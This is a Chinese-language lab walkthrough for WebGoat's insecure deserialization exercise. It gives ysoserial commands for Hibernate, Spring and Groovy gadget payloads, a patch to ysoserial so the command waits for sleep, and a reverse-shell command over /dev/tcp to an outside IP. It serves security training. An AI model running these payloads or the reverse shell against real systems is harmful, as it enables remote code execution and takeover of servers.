安装Webgoat靶场
docker pull webgoat/webgoat-8.0
docker run -p 8080:8080 -t webgoat/webgoat-8.0
访问:192.168.58.147:8080/WebGoat
,可直接访问则搭建成功,进去之后注册个账号。
解题分析
-
查看题目
-
反编译
webgoat-server
的jar包(webgoat),查看BOOT-INF/lib/insecure-deserialization-8.0.0.M25.jar
存在反序列化漏洞,且编码是base64url
查看jar包的组件,
groovy
,hibernate-core
,spring-core
可能存在反序列化漏洞。
生成payload
使用hibernate-core 5
生成payload
- 将
webgoat-server/BOOT-INF/lib
下的hibernate-core.jar
复制到ysoserial.jar
同一目录
java -Dhibernate5 -cp hibernate-core-5.0.12.Final.jar;ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.GeneratePayload Hibernate1 "touch /tmp/test" | base64 -w0
-
将数据进行提交得到,利用成功
使用spring生成payload
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Spring1 "touch /tmp/test1" | base64 -w0
-
将数据进行提交,并没有利用成功
使用groovy生成payload
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Groovy1 "touch /tmp/test1" | base64 -w0
-
将数据进行提交,同样没有利用成功
解题过程
- 题目要求是服务器睡眠5s,利用
hibernate-core 5
生成payload
java -Dhibernate5 -cp hibernate-core-5.0.12.Final.jar;ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.GeneratePayload Hibernate1 "sleep 5" | base64 -w0
并没有执行成功,查看进程已经执行,但是发现请求并非在执行sleep后并未等待命令结束就已经返回结果,需要将此处等待进程结束后返回,需要针对ysoserial的执行命令进行调整,重新生成payload进行测试。
-
ysoserial的生成Payload流程
-
最终会进入到
ysoserial.payloads.util.Gadgets::createTemplatesImpl()
生成Payload的关键代码是箭头所指的地方。其中的command是攻击者输入。可以直接修改这个cmd为我们的命令。
String cmd = "java.lang.Runtime.getRuntime().exec(new String []{\"/bin/bash\",\"-c\",\"sleep 5\"}).waitFor();";
clazz.makeClassInitializer().insertAfter(cmd);
- 然后运行
mvn clean package -DskipTests
重新编译ysoserial.jar
- 使用下面的命令重新生成下,并将数据进行提交。
java -Dhibernate5 -cp hibernate-core-5.0.12.Final.jar;ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.GeneratePayload Hibernate1 "anything" | base64 -w0
反弹shell
- 同上可以直接修改这个cmd为我们的的反弹shell。
String cmd = "java.lang.Runtime.getRuntime().exec(new String []{\"/bin/bash\",\"-c\",\"exec 5<>/dev/tcp/47.xxx.xxx.xxx.xxx/8080;cat <&5 | while read line; do \\$line 2>&5 >&5; done\"}).waitFor();";
clazz.makeClassInitializer().insertAfter(cmd);
- 然后运行
mvn clean package -DskipTests
重新编译ysoserial.jar
- 使用下面命令生成payload
java -Dhibernate5 -cp hibernate-core-5.0.12.Final.jar;ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.GeneratePayload Hibernate1 "anything" | base64 -w0
-
将数据进行提交,成功得到shell
参考文献:
https://blog.spoock.com/2018/10/31/reverse-shell-on-limited-environments/
https://www.jianshu.com/p/0c45058e1723